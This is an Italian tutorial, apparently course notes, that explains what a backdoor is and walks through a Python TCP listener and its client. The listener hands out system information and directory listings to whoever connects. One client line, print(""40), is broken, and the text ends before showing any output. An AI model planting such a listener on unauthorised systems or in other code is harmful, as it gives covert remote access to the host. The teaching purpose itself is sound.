Una backdoor è letteralmente una porta di servizio che viene creata durante una penetrazione in un sistema informatico. È uno strumento che agisce di fatto come un sorta di checkpoint che permette all'hacker di rientrare e riassumere il controllo di un sistema precedentemente violato. Soprattutto, permette di saltare tutti i passaggi precedenti, in particolare la scalata privilegi; questo vuol dire che di fatto bypassa tutti i sistemi di identificazione, rendendo la backdoor una sorta di accesso privilegiato.

Primo codice > si tratta di un codice per settare una backdoor

Vengono importati tre moduli: socket (importa le funzioni relative al socket, coppia IP:porta), platform e OS (che serviranno per interagire con il sistema operativo e il dispositivo attaccato).

Per prima cosa viene creato un socket con la funzione socket.socket (e si richiede che utilizzi un indirizzo Ipv4 e un protocollo TCP).
Quindi si procede al binding (con s.bind) che collega il socket all'IP e alla porta indicati.
Con s.listen si configura il socket per ascoltare sulla coppia IP:PORTA, con massimo 1 connessione in coda.
Con il metodo s.accept si accetta di stabilire una connessione.

```
1 import socket, platform, os
2
3 SRV_ADDR = ""
4 SRV_PORT = 1234
5
6 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7 s.bind((SRV_ADDR, SRV_PORT))
8 s.listen(1)
9 connection, address = s.accept()
10
11 print ("client connected: ", address)
12
```

Nellla seconda parte di codice viene gestita la ricezione delle informazioni.
Tramite un ciclo if-elif abbiamo tre diverse possibilità a seconda dei dati ricevuti: possiamo ricevere infrmazioni sul sistema operativo del client, ricevere una lista di file presenti in una determinata direcotry oppure la sessione può essere chiusa.

```
13 while 1:
14     try:
15         data = connection.recv(1024)
16     except:continue
17
18     if(data.decode('utf-8') == '1'):
19         tosend = platform.platform() + " " + platform.machine()
20         connection.sendall(tosend.encode())
21     elif(data.decode('utf-8') =='2'):
22         data = connection.recv(1024)
23         try:
24             filelist = os.listdir(data.decode('utf-8'))
25             tosend = ""
26             for x in filelist:
27                 tosend += "," + x
28         except:
29             tosend = "Wrong path"
30         connection.sendall(tosend.encode())
31     elif(data.decode('utf-8') == '0'):
32         connection.close()
33         connection, address = s.accept()
34
```

Secondo codice > va a settare un programma client.

Anche in questo caso viene importato il modulo socket.
Viene creato un nuovo socket che viene poi connesso ad un server (funzione socket.connect) e viene presentata la funzione principale del programma.

```
1 import socket
2
3 SRV_ADDR = input("Type the server IP address: ")
4 SRV_PORT = int(input("Type the server port: "))
5
6 def print_menu():
7     print("""\n\n0) Close the connection
8 1) Get system info
9 2) List directory contents""")
10
11 my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
12 my_sock.connect((SRV_ADDR, SRV_PORT))
13
14 print("Connection established")
15 print_menu()
```

Nella seconda parte del codice abbiamo un ciclo if-elif che restituisce tre possibilità: chiudere la sessione, inviare dati oppure sul sistema oppure inviare una lista di file presenti in una directory (le tre opzioni erano presentate nella funzione def print_menu()).

```
17 while 1:
18     message = input("\n-Select an option: ")
19
20     if(message == "0"):
21         my_sock.sendall(message.encode())
22         my_sock.close()
23         break
24
25     elif(message =="1"):
26         my_sock.sendall(message.encode())
27         data = my_sock.recv(1024)
28         if not data: break
29         print(data.decode('utf-8'))
30
31     elif(message == "2"):
32         path = input("Insert the path: ")
33         my_sock.sendall(message.encode())
34         my_sock.sendall(path.encode())
35         data = my_sock.recv(1024)
36         data = data.decode('utf-8').split(",")
37         print(""40)
38         for x in data:
39             print(x)
40         print(""40)
41
```

Vediamo che il client interagisce con la backdoor che abbiamo creato: